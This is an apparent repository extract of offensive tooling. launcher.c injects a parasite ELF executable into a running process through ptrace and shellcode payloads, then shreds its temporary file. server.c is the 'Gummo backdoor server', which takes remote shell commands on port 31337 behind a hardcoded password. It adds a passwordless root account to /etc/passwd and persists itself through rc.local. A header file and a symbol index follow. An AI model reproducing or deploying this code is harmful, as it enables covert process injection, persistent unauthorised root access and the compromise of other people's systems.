gettimeofday(&tv, NULL);
srand(tv.tv_usec);
b = rand() % 0xF;
b <<= 24;
gettimeofday(&tv, NULL);
srand(tv.tv_usec);
v = _PAGE_ALIGN(b + (rand() & 0x0000ffff));
return (uint64_t)v;
}
int map_elf_binary(handle_t *h, const char *path)
{
int fd, i, j;
uint8_t *mem;
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
Elf64_Sym *sym;
Elf64_Dyn *dyn;
char *StringTable;
if ((fd = open(path, O_RDWR)) < 0) {
perror("open");
return -1;
}
if ((h->path = strdup(path)) == NULL) {
perror("strdup");
return -1;
}
if (fstat(fd, &h->st) < 0) {
perror("fstat");
return -1;
}
mem = mmap(NULL, h->st.st_size, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if (mem == MAP_FAILED) {
perror("mmap");
return -1;
}
if (mem[0] != 0x7f && strcmp((char *)&mem[1], "ELF")) {
printf("File %s is not an ELF executable\n", path);
return -1;
}
h->mem = mem;
h->ehdr = ehdr = (Elf64_Ehdr *)mem;
h->phdr = phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
h->shdr = shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];
h->entryp = (void *)resolve_symbol("main", h->mem);
printf("[+] Parasite entry point will be main(): %p\n", h->entryp);
h->strtab = (char *)&mem[shdr[ehdr->e_shstrndx].sh_offset];
for (i = 0; i < ehdr->e_phnum; i++) {
switch(phdr[i].p_type) {
case PT_LOAD:
switch (!!phdr[i].p_offset) {
case 0:
printf("[+] Found text segment\n");
h->textVaddr = phdr[i].p_vaddr;
h->textOff = phdr[i].p_offset;
h->textSize = phdr[i].p_memsz;
break;
case 1:
printf("[+] Found data segment\n");
h->o_dataVaddr = h->dataVaddr = phdr[i].p_vaddr;
h->dataOff = phdr[i].p_offset;
h->dataSize = phdr[i].p_memsz;
h->datafilesz = phdr[i].p_filesz;
break;
}
break;
case PT_DYNAMIC:
printf("[+] Found dynamic segment\n");
h->dyn = dyn = (Elf64_Dyn *)&mem[phdr[i].p_offset];
for (j = 0; dyn[j].d_tag != DT_NULL; j++) {
switch(dyn[j].d_tag) {
case DT_PLTGOT:
printf("[+] Found G.O.T\n");
h->gotVaddr = dyn[j].d_un.d_ptr;
h->gotOff = dyn[j].d_un.d_ptr - h->dataVaddr;
h->GOT = (Elf64_Addr *)&h->mem[h->dataOff + h->gotOff];
break;
case DT_PLTRELSZ:
printf("[+] PLT count: %i entries\n", (int)dyn[j].d_un.d_val);
h->pltSize = dyn[j].d_un.d_val / sizeof(Elf64_Rela);
break;
case DT_SYMTAB:
printf("[+] Found dynamic symbol table\n");
h->dsymVaddr = dyn[j].d_un.d_ptr;
break;
case DT_STRTAB:
printf("[+] Found dynamic string table\n");
h->dstrVaddr = dyn[j].d_un.d_ptr;
break;
}
}
break;
}
}
//close(fd);
return 0;
}
/*
* This function prepares the initial calculations and
* loads the shellcode necessary for RPPC (Remote process
* procedure calls). These can be of type PT_SYSCALL or
* PT_FUNCTION.
*/
void prepare_fn_payloads(payloads_t *payloads, handle_t *h)
{
int i;
for (i = 0; i < FUNCTION_PAYLOADS; i++) {
switch(i) {
case CREATE_THREAD:
payloads->function[i].size = f12 - f11;
payloads->function[i].shellcode = create_fn_shellcode((void *)&create_thread, payloads->function[i].size);
payloads->function[i].target = INIT_CODE_REGION;
payloads->function[i].ptype = _PT_SYSCALL;
payloads->function[i].args[0] = NULL;
payloads->function[i].args[1] = NULL;
payloads->function[i].args[2] = NULL;
payloads->function[i].argc = 3;
break;
case EXEC_LOADER:
payloads->function[i].size = f4 - f3;
payloads->function[i].shellcode = create_fn_shellcode((void *)&load_exec, payloads->function[i].size);
payloads->function[i].target = INIT_CODE_REGION;
payloads->function[i].args[0] = (void *)NULL; // until we assign it h->path
payloads->function[i].args[1] = (void *)(h->textVaddr += h->base);
payloads->function[i].args[2] = (void *)(h->dataVaddr += h->base);
payloads->function[i].args[3] = (void *)(uint64_t)h->textSize;
payloads->function[i].args[4] = (void *)(uint64_t)h->dataSize;
payloads->function[i].args[5] = (void *)(uint64_t)h->dataOff;
payloads->function[i].argc = 6;
payloads->function[i].ptype = _PT_FUNCTION;
break;
case DLOPEN_EXEC_LOADER:
payloads->function[i].size = f3 - f2;
payloads->function[i].shellcode = create_fn_shellcode((void *)&dlopen_load_exec, payloads->function[i].size);
payloads->function[i].target = INIT_CODE_REGION;
payloads->function[i].args[0] = (void *)NULL; // until we assign it h->path;
payloads->function[i].args[1] = (void *)get_sym_from_libc(h, "__libc_dlopen_mode");
payloads->function[i].argc = 2;
break;
case EVIL_PTRACE: /* UNUSED AS REMOTE FUNCTION */
payloads->function[i].size = f10 - f9;
payloads->function[i].shellcode = create_fn_shellcode((void *)&evil_ptrace, payloads->function[i].size);
payloads->function[i].target = 0;
break;
case BOOTSTRAP_CODE:
payloads->function[i].size = f2 - f1;
payloads->function[i].shellcode = create_fn_shellcode((void *)&bootstrap_code, payloads->function[i].size);
payloads->function[i].target = 0;
payloads->function[i].args[0] = (void *)INIT_CODE_REGION;
payloads->function[i].args[1] = (void *)payloads->function[CREATE_THREAD].size +
payloads->function[EXEC_LOADER].size +
payloads->function[EVIL_PTRACE].size +
payloads->function[BOOTSTRAP_CODE].size;
payloads->function[i].args[2] = (void *)randomize_base();
payloads->function[i].argc = 3;
payloads->function[i].ptype = _PT_FUNCTION;
break;
case SYS_MPROTECT:
payloads->function[i].size = f13 - f12;
payloads->function[i].shellcode = create_fn_shellcode((void *)&SYS_mprotect, payloads->function[i].size);
payloads->function[i].target = INIT_CODE_REGION;
payloads->function[i].args[0] = NULL;
payloads->function[i].args[1] = NULL;
payloads->function[i].args[2] = NULL;
payloads->function[i].argc = 3;
payloads->function[i].ptype = _PT_FUNCTION;
break;
}
}
}
char * get_section_index(int section, uint8_t *target)
{
int i;
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)target;
Elf64_Shdr *shdr = (Elf64_Shdr *)(target + ehdr->e_shoff);
for (i = 0; i < ehdr->e_shnum; i++) {
if (i == section)
return (target + shdr[i].sh_offset);
}
}
unsigned long get_libc_addr(int pid)
{
FILE *fd;
char buf[255], file[255];
char *p, *q;
Elf64_Addr start, stop;
snprintf(file, sizeof(file)-1, "/proc/%d/maps", pid);
if ((fd = fopen(file, "r")) == NULL) {
printf("fopen %s: %s\n", file, strerror(errno));
exit(-1);
}
while (fgets(buf, sizeof(buf), fd)) {
if (strstr(buf, "libc") && strstr(buf, ".so")) {
if ((p = strchr(buf, '-')))
*p = '\0';
start = strtoul(buf, NULL, 16);
p++;
stop = strtoul(p, NULL, 16);
globals.libc_vma_size = stop - start;
/* While we're at it get the path too */
while (*p != '/')
p++;
*(char *)strchr(p, '\n') = '\0';
globals.libc_path = strdup(p);
if (!globals.libc_path) {
perror("strdup");
exit(-1);
}
globals.libc_addr = start;
return start;
}
}
}
Elf64_Addr get_sym_from_libc(handle_t *h, const char *name)
{
int fd, i;
struct stat st;
Elf64_Addr libc_base_addr = get_libc_addr(h->tasks.pid);
Elf64_Addr symaddr;
if ((fd = open(globals.libc_path, O_RDONLY)) < 0) {
perror("open libc");
exit(-1);
}
if (fstat(fd, &st) < 0) {
perror("fstat libc");
exit(-1);
}
uint8_t *libcp = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (libcp == MAP_FAILED) {
perror("mmap libc");
exit(-1);
}
symaddr = resolve_symbol((char *)name, libcp);
if (symaddr == 0) {
printf("[!] resolve_symbol failed for symbol '%s'\n", name);
printf("Try using --manual-elf-loading option\n");
exit(-1);
}
symaddr = symaddr + globals.libc_addr;
DBG_MSG("[DEBUG]-> get_sym_from_libc() addr of __libc_dl_*: %lx\n", symaddr);
return symaddr;
}
/*
* Resolve libc symbols using computation:
* symval = B + A
*/
int fixup_got(handle_t *h)
{
int i, slot;
struct linking_info *link;
Elf64_Addr got_sym_addr, symaddr;
Elf64_Addr libc_addr, tmp;
unsigned int libc_sym_addr;
h->linfo = link = (struct linking_info *)(uintptr_t)get_reloc_data(h);
if (!link) {
printf("Unable to resolve Global offset table symbols\n");
exit(-1);
}
get_libc_addr(h->tasks.pid);
int fd;
struct stat st;
if ((fd = open(globals.libc_path, O_RDONLY)) < 0) {
perror("open libc");
exit(-1);
}
if (fstat(fd, &st) < 0) {
perror("fstat");
exit(-1);
}
/*
* Map libc into memory, and resolve its symbols.
*/
uint8_t *libcp = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
for (slot = 0, i = 0; i < link[0].count; i++) {
if (link[i].r_type != R_X86_64_JUMP_SLOT)
continue;
slot++;
libc_sym_addr = resolve_symbol(link[i].name, libcp);
tmp = libc_sym_addr + globals.libc_addr;
printf("[+] FUNC %s -> Assigning value %lx to GOT(%lx)\n", link[i].name, tmp, h->gotVaddr + ((slot + 2) * sizeof(void *)));
h->GOT[slot + 2] = tmp;
link[i].gotOffset = h->gotOff + ((slot + 2) * sizeof(void *));
link[i].resolved = tmp;
}
munmap(libcp, st.st_size);
close(fd);
return 0;
}
Elf64_Addr resolve_symbol(char *name, uint8_t *target)
{
Elf64_Sym *symtab;
char *SymStrTable;
int i, j, symcount;
Elf64_Off strtab_off;
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)target;
Elf64_Shdr *shdr = (Elf64_Shdr *)(target + ehdr->e_shoff);
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_type == SHT_SYMTAB || shdr[i].sh_type == SHT_DYNSYM) {
/*
* In this instance of the sh_link member of Elf64_Shdr, it points
* to the section header index of the symbol table string table section.
*/
SymStrTable = (char *)get_section_index(shdr[i].sh_link, target);
symtab = (Elf64_Sym *)get_section_index(i, target);
for (j = 0; j < shdr[i].sh_size / sizeof(Elf64_Sym); j++, symtab++) {
if(strcmp(&SymStrTable[symtab->st_name], name) == 0) {
return (symtab->st_value);
}
}
}
}
return 0;
}
/*
* This function retrieves data from X86_64_JUMP_SLOT
* relocation types. (GOT entries for dynamic linking)
*/
struct linking_info *get_reloc_data(handle_t *target)
{
Elf64_Shdr *shdr, *shdrp, *symshdr;
Elf64_Sym *syms, *symsp;
Elf64_Rel *rel;
Elf64_Rela *rela;
Elf64_Ehdr *ehdr;
char *symbol;
int i, j, symcount, k;
struct linking_info *link;
uint8_t *mem = (uint8_t *)target->mem;
ehdr = (Elf64_Ehdr *)mem;
shdr = (Elf64_Shdr *)(mem + ehdr->e_shoff);
shdrp = shdr;
for (i = ehdr->e_shnum; i-- > 0; shdrp++) {
if (shdrp->sh_type == SHT_DYNSYM) {
symshdr = &shdr[shdrp->sh_link];
if ((symbol = malloc(symshdr->sh_size)) == NULL)
goto fatal;
memcpy(symbol, (mem + symshdr->sh_offset), symshdr->sh_size);
if ((syms = (Elf64_Sym *)malloc(shdrp->sh_size)) == NULL)
goto fatal;
memcpy((Elf64_Sym *)syms, (Elf64_Sym *)(mem + shdrp->sh_offset), shdrp->sh_size);
symsp = syms;
symcount = (shdrp->sh_size / sizeof(Elf64_Sym));
link = (struct linking_info *)malloc(sizeof(struct linking_info) * symcount);
if (!link)
goto fatal;
link[0].count = symcount;
for (j = 0; j < symcount; j++, symsp++) {
link[j].name = strdup(&symbol[symsp->st_name]);
if (!link[j].name)
goto fatal;
link[j].s_value = symsp->st_value;
link[j].index = j;
}
break;
}
}
for (i = ehdr->e_shnum; i-- > 0; shdr++) {
switch(shdr->sh_type) {
case SHT_RELA:
rela = (Elf64_Rela *)(mem + shdr->sh_offset);
for (j = 0; j < shdr->sh_size; j += sizeof(Elf64_Rela), rela++) {
for (k = 0; k < symcount; k++) {
if (ELF64_R_SYM(rela->r_info) == link[k].index) {
link[k].r_offset = rela->r_offset;
link[k].r_info = rela->r_info;
link[k].r_type = ELF64_R_TYPE(rela->r_info);
}
}
}
break;
case SHT_REL:
rel = (Elf64_Rel *)(mem + shdr->sh_offset);
for (j = 0; j < shdr->sh_size; j += sizeof(Elf64_Rel), rel++) {
for (k = 0; k < symcount; k++) {
if (ELF64_R_SYM(rel->r_info) == link[k].index) {
link[k].r_offset = rel->r_offset;
link[k].r_info = rel->r_info;
link[k].r_type = ELF64_R_TYPE(rel->r_info);
}
}
}
break;
default:
break;
}
}
return link;
fatal:
return NULL;
}
/*
* Apply ELF relocations of type RELATIVE and GLOBAL_DAT
*/
int apply_relocs(handle_t *h)
{
int i, j, k;
Elf64_Shdr *shdr, *targetShdr;
Elf64_Rela *rel;
struct linking_info *linfo = h->linfo;
Elf64_Sym *symtab, *symbol;
Elf64_Addr targetAddr, symval;
Elf64_Addr *relocPtr;
int dynstr;
char *StringTable;
for (shdr = h->shdr, i = 0; i < h->ehdr->e_shnum; i++)
if (shdr[i].sh_type == SHT_STRTAB && i != h->ehdr->e_shstrndx) {
dynstr = i;
break;
}
StringTable = (char *)&h->mem[shdr[dynstr].sh_offset];
for (shdr = h->shdr, i = 0; i < h->ehdr->e_shnum; i++) {
if (shdr[i].sh_type == SHT_RELA) {
rel = (Elf64_Rela *)&h->mem[shdr[i].sh_offset];
for (j = 0; j < shdr[i].sh_size / sizeof(Elf64_Rela); j++, rel++) {
switch(ELF64_R_TYPE(rel->r_info)) {
case R_X86_64_GLOB_DAT:
/*
* We actually can leave this reloc type alone because
* we start executing the parasite at main() and not
* _start(), so we can ignore these ones that are
* necessary for initialization.
*/
continue;
/*
* We must resolve this relocation type
* relval = S
*/
relocPtr = (Elf64_Addr *)(h->mem + h->dataOff + (rel->r_offset - h->o_dataVaddr));
symtab = (Elf64_Sym *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];
symbol = (Elf64_Sym *)&symtab[ELF64_R_SYM(rel->r_info)];
if (symbol->st_shndx > h->ehdr->e_shnum) //bug workaround
continue;
for (k = 0; k < linfo[0].count; k++) {
if (!strcmp(&StringTable[symbol->st_name], linfo[k].name)) {
*(uint64_t *)relocPtr = linfo[k].resolved;
break;
}
}
break;
case R_X86_64_RELATIVE:
/*
* We must resolve this relocation type baby!
* relval = B + A
*/
relocPtr = (Elf64_Addr *)(h->mem + h->dataOff + (rel->r_offset - h->o_dataVaddr));
symval = h->base + rel->r_addend;
*(uint64_t *)relocPtr = symval;
DBG_MSG("[DEBUG]: R_X86_64_RELATIVE relocation unit given value: %lx\n", symval);
break;
case R_X86_64_64:
/*
* We must resolve this relocation type baby!
* relval = S + A
*/
relocPtr = (Elf64_Addr *)(h->mem + h->dataOff + (rel->r_offset - h->o_dataVaddr));
/*
* Get associated symbol and its value.
*/
symtab = (Elf64_Sym *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];
symbol = (Elf64_Sym *)&symtab[ELF64_R_SYM(rel->r_info)];
symval = symbol->st_value;
symval += h->base;
symval += rel->r_addend;
/*
* Fixup relocation unit
*/
*(uint64_t *)relocPtr = symval;
DBG_MSG("DEBUG R_X86_64_64 relocation computed to %lx\n", symval);
break;
}
}
}
}
}
int apply_elf_relocations(handle_t *h)
{
/*
* This handles the dynamic linking:
* we bind the parasites dynamic functions
* to the libc symbols mapped into the
* hosts memory space.
* So handle relocs of type R_X86_64_JUMP_SLOT
*/
#if DEBUG
printf("[DEBUG] Calling fixup_got()\n");
#endif
if (fixup_got(h) < 0) {
printf("Failed to handle libc resolution\n");
return -1;
}
/*
* Handle relocs of R_X86_64_GLOB_DAT, R_X86_64_RELATIVE, R_X86_64_64
*/
#if DEBUG
printf("[DEBUG] Calling apply_relocs()\n");
#endif
if (apply_relocs(h) < 0) {
printf("Failed to handle R_X86_64_GLOB_DAT relocation types\n");
return -1;
}
return 0;
}
static uint64_t get_parasite_entry(handle_t *h)
{
FILE *fd;
char buf[256], *p, *basename;
Elf64_Addr entry = 0;
char path[256];
snprintf(path, sizeof(path) - 1, "/proc/%d/maps", h->tasks.pid);
if ((fd = fopen(path, "r")) == NULL) {
perror("fopen");
exit(-1);
}
if ((p = strrchr(h->path, '/')) != NULL)
basename = strdup(p + 1);
else
basename = strdup(h->path);
DBG_MSG("[DEBUG] -> parasite basename: %s\n", basename);
while (fgets(buf, sizeof(buf), fd)) {
if (strstr(buf, basename)) {
if (strstr(buf, "r-xp")) {
*(char *)strchr(buf, '\0') = '\0';
p = buf;
entry = strtoul(p, NULL, 16);
break;
}
}
}
fclose(fd);
return entry;
}
static int write_to_disk(handle_t *h)
{
int fd;
unlink(TMP_PATH);
fd = open(TMP_PATH, O_RDWR|O_CREAT|O_TRUNC);
if (fd < 0) {
perror("write_to_disk: open");
return -1;
}
if (write(fd, h->mem, h->st.st_size) != h->st.st_size) {
perror("write_to_disk: write");
return -1;
}
close(fd);
return 0;
}
void exec_cmd (char *str, ...)
{
char string[1024];
va_list va;
va_start (va, str);
vsnprintf (string, 1024, str, va);
va_end (va);
system (string);
}
int main(int argc, char **argv)
{
handle_t parasite;
int (*run_exec_loader_fn)(handle_t *) = run_exec_loader_dlopen; //default mode is to use dlopen
int (*launch_parasite_fn)(handle_t *) = dlopen_launch_parasite; //default mode is to use dlopen
char **args, **pargs;
int target_argc;
int i;
if (argc < 3) {
printf("Usage: %s [--no-dlopen] <pid> <parasite> <parasite_args>\n", argv[0]);
exit(0);
}
opts.no_dlopen = 0;
args = &argv[1];
target_argc = argc - 2;
/*
* target_argc should be how many args from ./parasite program
* including the program name itself and any args after it.
* I.E ./parasite <arg1> <arg2> would be target_argc 3
*/
if (!strcmp(argv[1], "--no-dlopen")) {
opts.no_dlopen = 1;
args = &argv[2];
target_argc = argc - 3;
}
arginfo.argc = target_argc;
printf("Parasite command: ");
for (i = 0, pargs = &args[1]; i < target_argc; i++) {
arginfo.args[i] = strdup(pargs[i]);
printf("%s ", arginfo.args[i]);
}
printf("\n");
parasite.tasks.pid = atoi(args[0]);
printf("[+] Target pid: %d\n", parasite.tasks.pid);
if (opts.no_dlopen) {
printf("Calling randomize base\n");
parasite.base = randomize_base();
do {
parasite.base = randomize_base();
} while(parasite.base == 0);
printf("[+] Using base %lx\n", parasite.base);
}
printf("[+] map_elf_binary(ptr, %s)\n", args[1]);
if (map_elf_binary(¶site, args[1]) < 0) {
printf("Unable to load: %s\n", args[1]);
exit(-1);
}
prepare_fn_payloads(¶site.payloads, ¶site);
if (opts.no_dlopen) {
printf("[+] Applying ELF relocations manually\n");
if (apply_elf_relocations(¶site) < 0) {
printf("Failed to apply relocations\n");
exit(-1);
}
}
/*
* Write a relocated version of parasite executable
* to disk /tmp/.parasite.elf. This is the version
* of our parasite executable that will be loaded into memory.
* since it has relocation information applied.
*/
if (opts.no_dlopen) {
printf("[+] Writing temporary relocated version of file (FIXME, TOUCHES DISK IN EXTRA PLACE)\n");
if (write_to_disk(¶site) < 0) {
printf("[!] Unable to write relocated parasite to temporary location\n");
goto done;
}
}
if (pid_attach(¶site) < 0)
goto done;
printf("[+] calling bootstrap\n");
if (backup_regs_struct(¶site) < 0)
goto done;
/*
* Inject and execute bootstrap_code()
*/
run_bootstrap(¶site);
printf("[+] calling exec_loader\n");
/*
* Inject and execute load_exec()
*/
if (opts.no_dlopen) {
printf("[+] manual elf exec_loader\n");
run_exec_loader_fn = run_exec_loader;
} else
printf("[+] dlopen elf exec_loader\n");
run_exec_loader_fn(¶site);
#if DEBUG
system("pmap `pidof host`");
#endif
if (opts.no_dlopen == 0) {
uint64_t entrypoint = get_parasite_entry(¶site);
if (entrypoint == 0) {
printf("get_parasite_entry() failed\n");
goto done;
}
entrypoint += (uint64_t)parasite.entryp;
parasite.entryp = (void *)entrypoint;
}
/*
* Pass control to parasite
*/
printf("[+] calling launch_parasite()\n");
if (opts.no_dlopen)
launch_parasite_fn = launch_parasite;
if (launch_parasite_fn(¶site) < 0)
goto done;
if (restore_regs_struct(¶site) < 0)
goto done;
if (pid_detach_stateful(¶site) < 0)
goto done;
kill(parasite.tasks.pid, SIGCONT);
done:
if (access(TMP_PATH, F_OK) == 0) {
exec_cmd("shred %s", TMP_PATH);
if (access(TMP_PATH, F_OK) == 0)
exec_cmd("rm %s", TMP_PATH);
}
exit(0);
}
================================================
FILE: saruman.h
================================================
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <elf.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/signal.h>
#include <sched.h>
#include <sys/user.h>
#include <dlfcn.h>
#include <stdarg.h>
#define INIT_CODE_REGION 0x00C00000
#define PT_CALL_REGION_SIZE 4096 * 4
#define PT_CALL_REGION 0x000B0000
#define _PAGE_ALIGN(x) (x & ~(4096 - 1))
#define PAGE_ALIGN_UP(x) (_PAGE_ALIGN(x) + 4096)
#define PAGE_ROUND PAGE_ALIGN_UP
#define ULONG_ROUND(x) ((x + sizeof(uint64_t) - 1) & ~(sizeof(uint64_t) - 1))
#define SIGCHLD 17
#define CLONE_VM 0x00000100 /* set if VM shared between processes */
#define CLONE_FS 0x00000200 /* set if fs info shared between processes */
#define CLONE_FILES 0x00000400 /* set if open files shared between processes */
#define CLONE_SIGHAND 0x00000800 /* set if signal handlers shared */
#define __NR_clone 56
#define __NR_exit 60
#define __PAYLOAD_ATTRIBUTES__ __attribute__((aligned(8),__always_inline__))
#define __PAYLOAD_KEYWORDS__ static inline volatile
#define PT_ATTACHED 1
#define PT_DETACHED 2
#define MAX_THREADS 12
#define MAX_FUNC_ARGS 8
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6"
#define STACK_SIZE PAGE_SIZE * 16
#define DBG_MSG(f_, ...) printf((f_), __VA_ARGS__)
typedef pid_t tid_t;
typedef unsigned long long pt_reg_t;
typedef enum {
FP_NULL = 0,
CREATE_THREAD = 1,
EXEC_LOADER = 2,
EVIL_PTRACE = 3,
BOOTSTRAP_CODE = 4,
SYS_MPROTECT = 5,
DLOPEN_EXEC_LOADER = 6,
FUNCTION_PAYLOADS = 7
} functionPayloads_t;
typedef enum {
_PT_FUNCTION = 0,
_PT_SYSCALL = 1
} ptype_t;
typedef struct payloads {
struct {
uint8_t *shellcode;
void *args[MAX_FUNC_ARGS];
uint64_t target;
pt_reg_t retval;
size_t size;
int argc;
ptype_t ptype;
} function[FUNCTION_PAYLOADS];
} payloads_t;
typedef struct task {
pid_t pid;
uint32_t state;
uint32_t tid_count;
tid_t thread[MAX_THREADS];
int thread_count;
} task_t;
typedef struct remote {
const char *path;
uint64_t base;
int fd;
} remote_t;
struct linking_info
{
char *name;
int index;
int count;
uint64_t resolved;
uint64_t gotOffset;
uint64_t r_offset;
uint64_t r_info;
uint64_t s_value;
int r_type;
};
struct reloc_info {
uint64_t target;
uint64_t value;
};
typedef struct stack {
void *base;
size_t size;
uint64_t rsp;
uint64_t rbp;
} proc_stack_t;
typedef struct handle {
const char *path;
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdr;
Elf64_Shdr *shdr;
Elf64_Sym *symtab;
Elf64_Sym *dynsym;
Elf64_Dyn *dyn;
Elf64_Rela *rela;
uint8_t *mem;
char *strtab;
uint64_t size;
uint64_t base;
struct stat st;
Elf64_Addr textVaddr;
Elf64_Addr dataVaddr;
Elf64_Addr o_dataVaddr;
Elf64_Addr gotVaddr;
Elf64_Addr dsymVaddr;
Elf64_Addr dstrVaddr;
Elf64_Off textOff;
Elf64_Off dataOff;
Elf64_Off gotOff;
Elf64_Word textSize;
Elf64_Word dataSize;
Elf64_Word datafilesz;
Elf64_Word gotSize;
Elf64_Word pltSize;
Elf64_Addr *GOT;
void *entryp;
proc_stack_t stack;
payloads_t payloads;
task_t tasks;
remote_t remote;
struct user_regs_struct pt_reg;
struct user_regs_struct orig_pt_reg;
struct linking_info *linfo;
struct reloc_info *rinfo;
} handle_t;
struct globals {
int libc_vma_size;
char *libc_path;
int pid;
Elf64_Addr libc_addr;
} globals;
================================================
FILE: server.c
================================================
/*
/* Gummo backdoor server.
/* compile: cc server.c -o server
/* usage: ./server &
/* echo /tmp/server & >> /etc/rc.d/rc.local
/* so it's always executed after system reboots.
/* Assuming server is in /tmp
/* Have fun script kids, ph1x.
/* <phixation@hotmail.com>
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#define PORT 31337
#define BACKLOG 5
#define CMD_LOG "/tmp/.cmd"
#define PASSWORD "password"
/* global */
int newfd;
void command ();
void
main ()
{
int sockfd, sin_size, ss, len, bytes;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
char passwd[1024];
char *prompt = "Password: ";
char *gp;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror ("socket");
exit (1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons (PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero (&(my_addr.sin_zero), 8);
if (bind (sockfd, (struct sockaddr *) &my_addr, sizeof (struct sockaddr)) \
== -1)
{
perror ("bind");
exit (1);
}
if (listen (sockfd, BACKLOG) == -1)
{
perror ("listen");
exit (1);
}
while (1)
{
ss = sizeof (struct sockaddr_in);
if ((newfd = accept (sockfd, (struct sockaddr *) &their_addr, \
&sin_size)) == -1)
{
perror ("accept");
exit (1);
}
if (fork ())
{
len = strlen (prompt);
bytes = send (newfd, prompt, len, 0);
recv (newfd, passwd, 1024, 0);
if ((gp = strchr (passwd, 13)) != NULL)
*(gp) = '\0';
if (!strcmp (passwd, PASSWORD))
{
send (newfd, "Access Granted, HEH\n", 21, 0);
send (newfd, "\n\n\n\n\n\nWelcome To Gummo Backdoor Server!\n\n", 41, 0);
send (newfd, "Type 'HELP' for a list of commands\n\n", 36, 0);
command ();
}
else if (passwd != PASSWORD)
{
send (newfd, "Authentification Failed! =/\n", 29, 0);
close (newfd);
}
}
}
} /* command() will process all the commands sent */
/* and send back the output of them to your client */
void
command ()
{
FILE *read;
FILE *append;
char cmd_dat[1024];
char *cmd_relay;
char *clean_log;
char buf[5000];
int dxm;
while (1)
{
send (newfd, "command:~# ", 11, 0);
recv (newfd, cmd_dat, 1024, 0);
cmd_dat[strlen (cmd_dat) - 2] = '\0';
if (strcmp (cmd_dat, ""))
{
if ((strstr (cmd_dat, "HELP")) == cmd_dat)
{
send (newfd, "\n\n-=Help Menu=-\n", 16, 0);
send (newfd, "\nquit - to exit gummo backdoor\n", 31, 0);
send (newfd, "rewt - automatically creates non passworded accnt 'rewt' uid0\n", 63, 0);
send (newfd, "wipeout - this feature rm -rf /'s a box. Inspired by dethcraze\n", 64, 0);
}
if ((strstr (cmd_dat, "quit")) == cmd_dat)
{
close (newfd);
}
if ((strstr (cmd_dat, "rewt")) == cmd_dat)
{
system ("echo rewt::0:0::/:/bin/sh>>/etc/passwd;");
send (newfd, "User 'rewt' added!\n", 19, 0);
}
if ((strstr (cmd_dat, "wipeout")) == cmd_dat)
{
send (newfd, "Your a dumb fuck for trying to use this command, HEH!\n", 54, 0);
close(newfd);
exit(0);
}
else
append = fopen (CMD_LOG, "w");
fprintf (append, "dextro\n");
fclose (append);
clean_log = (char *) malloc (420);
sprintf (clean_log, "rm %s", CMD_LOG);
system (clean_log);
cmd_relay = (char *) malloc (1024);
snprintf (cmd_relay, 1024, "%s > %s;\0", cmd_dat, CMD_LOG);
system (cmd_relay);
if ((read = fopen (CMD_LOG, "r")) == NULL)
continue;
while (!(feof (read)))
{
memset (buf, 0, 500);
fgets (buf, 500, read);
if (buf[0] == 0)
break;
write (newfd, buf, 500);
}
fclose (read);
}
}
}
gitextract_g34co9rr/ ├── Makefile ├── README.md ├── host.c ├── launcher.c ├── saruman.h └── server.c
SYMBOL INDEX (72 symbols across 4 files)
FILE: host.c
function main (line 5) | int main(void)
FILE: launcher.c
type stat (line 32) | struct stat
type linking_info (line 47) | struct linking_info
type arginfo (line 89) | struct arginfo {
function __PAYLOAD_KEYWORDS__ (line 112) | __PAYLOAD_KEYWORDS__ uint64_t bootstrap_code(void * vaddr, uint64_t size...
function __PAYLOAD_KEYWORDS__ (line 160) | __PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlo...
function __PAYLOAD_KEYWORDS__ (line 174) | __PAYLOAD_KEYWORDS__ int load_exec(const char *path,
function __PAYLOAD_KEYWORDS__ (line 228) | __PAYLOAD_KEYWORDS__ int evil_read(long fd, char *buf, unsigned long len)
function evil_open (line 241) | __PAYLOAD_KEYWORDS__ long evil_open(const char *path, unsigned long flags)
function __PAYLOAD_KEYWORDS__ (line 255) | __PAYLOAD_KEYWORDS__ int evil_brk(void *addr)
function __PAYLOAD_KEYWORDS__ (line 267) | __PAYLOAD_KEYWORDS__ void * evil_mmap(void *addr, unsigned long len, uns...
function evil_lseek (line 287) | __PAYLOAD_KEYWORDS__ long evil_lseek(long fd, long offset, unsigned int ...
function evil_ptrace (line 301) | __PAYLOAD_KEYWORDS__ long evil_ptrace(long request, long pid, void *addr...
function __PAYLOAD_KEYWORDS__ (line 318) | __PAYLOAD_KEYWORDS__ int evil_fstat(long fd, struct stat *buf)
function __PAYLOAD_KEYWORDS__ (line 332) | __PAYLOAD_KEYWORDS__ int create_thread(void (*fn)(void *), void *data, u...
function __PAYLOAD_KEYWORDS__ (line 366) | __PAYLOAD_KEYWORDS__ int evil_mprotect(void * addr, unsigned long len, i...
function __PAYLOAD_KEYWORDS__ (line 380) | __PAYLOAD_KEYWORDS__ int SYS_mprotect(void *addr, unsigned long len, int...
function __PAYLOAD_KEYWORDS__ (line 389) | __PAYLOAD_KEYWORDS__ size_t evil_write(long fd, void *buf, unsigned long...
function dummy_fn (line 407) | void dummy_fn(void)
function waitpid2 (line 413) | int waitpid2(pid_t pid, int *status, int options)
